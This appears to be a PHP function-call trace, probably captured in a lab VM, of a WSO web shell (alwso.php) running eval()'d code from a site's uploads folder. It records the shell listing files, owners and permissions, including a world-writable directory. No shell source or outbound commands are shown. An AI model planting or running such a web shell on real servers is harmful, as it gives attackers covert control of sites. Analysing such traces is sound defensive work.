4	114	0	0.014009	1036176	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/.htaccess'
4	114	1	0.014023	1036216
4	114	R			TRUE
4	115	0	0.014036	1036120	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	667	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	115	1	0.014059	1036560
4	115	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	667	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
4	116	0	0.014117	1036872	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'alwso.php'
4	116	1	0.014132	1036896
4	116	R			1000
4	117	0	0.014146	1036856	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	1000
4	117	1	0.014177	1037672
4	117	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	118	0	0.014221	1036904	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'alwso.php'
4	118	1	0.014235	1036944
4	118	R			1000
4	119	0	0.014248	1036904	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	1000
4	119	1	0.014280	1037560
4	119	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	120	0	0.014320	1037424	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/alwso.php'
4	120	1	0.014337	1037480
4	120	R			1676237468
4	121	0	0.014350	1037384	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	121	1	0.014382	1037712
4	121	R			'2023-02-12 16:31:08'
4	122	0	0.014396	1037696	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/alwso.php'
5	123	0	0.014410	1037696	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/alwso.php'
5	123	1	0.014426	1037736
5	123	R			TRUE
5	124	0	0.014439	1037696	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/alwso.php'
5	124	1	0.014454	1037736
5	124	R			FALSE
5	125	0	0.014468	1037696	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	'/var/www/html/uploads/alwso.php'
5	125	1	0.014482	1037736
5	125	R			33204
5	126	0	0.014495	1037696	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	33204
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= '-'
5	126	1	0.014608	1037736
5	126	R			'-rw-rw-r--'
4	122	1	0.014622	1037760
4	122	R			'<font color=white>-rw-rw-r--</font>'
4	127	0	0.014639	1037760	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/alwso.php'
4	127	1	0.014652	1037800
4	127	R			23689
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes']
4	128	0	0.014688	1037384	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/alwso.php'
4	128	1	0.014702	1037424
4	128	R			TRUE
4	129	0	0.014715	1037328	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	667	2	['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	129	1	0.014738	1037768
4	129	R			['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	667	$files[] = ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
4	130	0	0.014797	1037704	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'data'
4	130	1	0.014812	1037720
4	130	R			0
4	131	0	0.014825	1037680	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	0
4	131	1	0.014849	1038480
4	131	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	132	0	0.014890	1037696	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'data'
4	132	1	0.014904	1037736
4	132	R			0
4	133	0	0.014917	1037696	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	0
4	133	1	0.014938	1038352
4	133	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	134	0	0.014979	1038216	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/data'
4	134	1	0.014995	1038280
4	134	R			1676237468
4	135	0	0.015009	1038184	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	135	1	0.015040	1038512
4	135	R			'2023-02-12 16:31:08'
4	136	0	0.015055	1038496	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/data'
5	137	0	0.015068	1038496	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/data'
5	137	1	0.015084	1038536
5	137	R			TRUE
5	138	0	0.015097	1038496	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/data'
5	138	1	0.015112	1038536
5	138	R			TRUE
5	139	0	0.015125	1038496	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	'/var/www/html/uploads/data'
5	139	1	0.015138	1038536
5	139	R			16895
5	140	0	0.015151	1038496	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	371	1	16895
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	349	$i = 'd'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= 'x'
5	140	1	0.015264	1038536
5	140	R			'drwxrwxrwx'
4	136	1	0.015279	1038560
4	136	R			'<font color=#25ff00>drwxrwxrwx</font>'
4	141	0	0.015296	1038560	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/data'
4	141	1	0.015309	1038600
4	141	R			4096
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	142	0	0.015345	1038184	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/data'
4	142	1	0.015359	1038224
4	142	R			FALSE
4	143	0	0.015372	1038184	is_link	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	668	1	'/var/www/html/uploads/data'
4	143	1	0.015387	1038224
4	143	R			FALSE
4	144	0	0.015401	1038184	is_dir	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	670	1	'/var/www/html/uploads/data'
4	144	1	0.015414	1038224
4	144	R			TRUE
4	145	0	0.015427	1038128	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	671	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	145	1	0.015451	1038568
4	145	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	671	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
4	146	0	0.015508	1038504	fileowner	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	'prepend.php'
4	146	1	0.015524	1038528
4	146	R			0
4	147	0	0.015536	1038488	posix_getpwuid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	656	1	0
4	147	1	0.015559	1039288
4	147	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	656	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	148	0	0.015604	1038520	filegroup	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	'prepend.php'
4	148	1	0.015619	1038560
4	148	R			0
4	149	0	0.015632	1038520	posix_getgrgid	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	657	1	0
4	149	1	0.015654	1039176
4	149	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	657	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	150	0	0.015690	1039056	filemtime	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	1	'/var/www/html/uploads/prepend.php'
4	150	1	0.015707	1039120
4	150	R			1676237468
4	151	0	0.015720	1039016	date	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	660	2	'Y-m-d H:i:s'	1676237468
4	151	1	0.015752	1039344
4	151	R			'2023-02-12 16:31:08'
4	152	0	0.015767	1039336	wsoPermsColor	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	661	1	'/var/www/html/uploads/prepend.php'
5	153	0	0.015781	1039336	is_readable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	366	1	'/var/www/html/uploads/prepend.php'
5	153	1	0.015797	1039376
5	153	R			TRUE
5	154	0	0.015810	1039336	is_writable	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	368	1	'/var/www/html/uploads/prepend.php'
5	154	1	0.015825	1039376
5	154	R			FALSE
5	155	0	0.015839	1039336	fileperms	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	'/var/www/html/uploads/prepend.php'
5	155	1	0.015853	1039376
5	155	R			33261
5	156	0	0.015865	1039336	wsoPerms	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	369	1	33261
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	347	$i = '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	353	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	354	$i .= 'w'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	355	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	356	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	357	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	358	$i .= 'x'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	359	$i .= 'r'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	360	$i .= '-'
5		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	361	$i .= 'x'
5	156	1	0.015987	1039376
5	156	R			'-rwxr-xr-x'
4	152	1	0.016001	1039400
4	152	R			'<font color=white>-rwxr-xr-x</font>'
4	157	0	0.016018	1039400	filesize	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	662	1	'/var/www/html/uploads/prepend.php'
4	157	1	0.016071	1039440
4	157	R			57
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	664	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	158	0	0.016136	1039024	is_file	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	666	1	'/var/www/html/uploads/prepend.php'
4	158	1	0.016161	1039064
4	158	R			TRUE
4	159	0	0.016182	1038960	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	667	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	159	1	0.016212	1039400
4	159	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	667	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	655	$i++
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	673	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	160	0	0.016357	1039360	usort	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	680	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'wsoCmp'
5	161	0	0.016404	1039808	wsoCmp	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	680	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	162	0	0.016449	1039808	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'.htaccess'
6	162	1	0.016469	1039840
6	162	R			'.htaccess'
6	163	0	0.016488	1039808	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'alwso.php'
6	163	1	0.016506	1039840
6	163	R			'alwso.php'
6	164	0	0.016526	1039808	strcmp	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	2	'.htaccess'	'alwso.php'
6	164	1	0.016545	1039872
6	164	R			-1
5	161	1	0.016565	1039808
5	161	R			-1
5	165	0	0.016583	1039808	wsoCmp	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	680	2	['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	166	0	0.016623	1039808	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'alwso.php'
6	166	1	0.016642	1039840
6	166	R			'alwso.php'
6	167	0	0.016660	1039808	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'prepend.php'
6	167	1	0.016678	1039840
6	167	R			'prepend.php'
6	168	0	0.016697	1039808	strcmp	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	2	'alwso.php'	'prepend.php'
6	168	1	0.016716	1039872
6	168	R			-1
5	165	1	0.016734	1039808
5	165	R			-1
4	160	1	0.016752	1039432
4	160	R			TRUE
4	169	0	0.016771	1039384	usort	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	681	2	[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'wsoCmp'
5	170	0	0.016815	1039832	wsoCmp	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	681	2	['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	171	0	0.016853	1039832	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'.'
6	171	1	0.016871	1039864
6	171	R			'.'
6	172	0	0.016889	1039832	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'..'
6	172	1	0.016906	1039864
6	172	R			'..'
6	173	0	0.016924	1039832	strcmp	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	2	'.'	'..'
6	173	1	0.016944	1039896
6	173	R			-1
5	170	1	0.016963	1039832
5	170	R			-1
5	174	0	0.016981	1039832	wsoCmp	1		/var/www/html/uploads/alwso.php(1) : eval()'d code	681	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	175	0	0.017019	1039832	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'..'
6	175	1	0.017037	1039864
6	175	R			'..'
6	176	0	0.017056	1039832	strtolower	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	1	'data'
6	176	1	0.017074	1039864
6	176	R			'data'
6	177	0	0.017092	1039832	strcmp	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	676	2	'..'	'data'
6	177	1	0.017110	1039896
6	177	R			-3552051
5	174	1	0.017130	1039832
5	174	R			-3552051
4	169	1	0.017149	1039456
4	169	R			TRUE
4	178	0	0.017168	1039384	array_merge	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	682	2	[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4	178	1	0.017235	1039824
4	178	R			[0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	682	$files = [0 => ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=#25ff00>drwxrwxrwx</font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 3 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-r--r--</font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'alwso.php', 'path' => '/var/www/html/uploads/alwso.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rw-rw-r--</font>', 'size' => 23689, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 5 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 16:31:08', 'perms' => '<font color=white>-rwxr-xr-x</font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	683	$l = 0
4	179	0	0.017392	1039464	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.'
4	179	1	0.017413	1039528
4	179	R			'.'
4	180	0	0.017434	1039592	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.'
4	180	1	0.017454	1039784
4	180	R			'.'
4	181	0	0.017475	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'.'
4	181	1	0.017539	1039768
4	181	R			'.'
4	182	0	0.017561	1039768	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.'
4	182	1	0.017579	1039832
4	182	R			'.'
4	183	0	0.017598	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'.'
4	183	1	0.017616	1039896
4	183	R			'.'
3		A						/var/www/html/uploads/alwso.php(1) : eval()'d code	687	$l = 1
4	184	0	0.017652	1039480	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'..'
4	184	1	0.017670	1039544
4	184	R			'..'
4	185	0	0.017690	1039592	htmlspecialchars	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'..'
4	185	1	0.017709	1039784
4	185	R			'..'
4	186	0	0.017729	1039704	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	685	1	'..'
4	186	1	0.017747	1039768
4	186	R			'..'
4	187	0	0.017766	1039832	urlencode	0		/var/www/html/uploads/alwso.php(1) : eval()'d code	686	1	'..'
4	187	1	0.017785	1039896
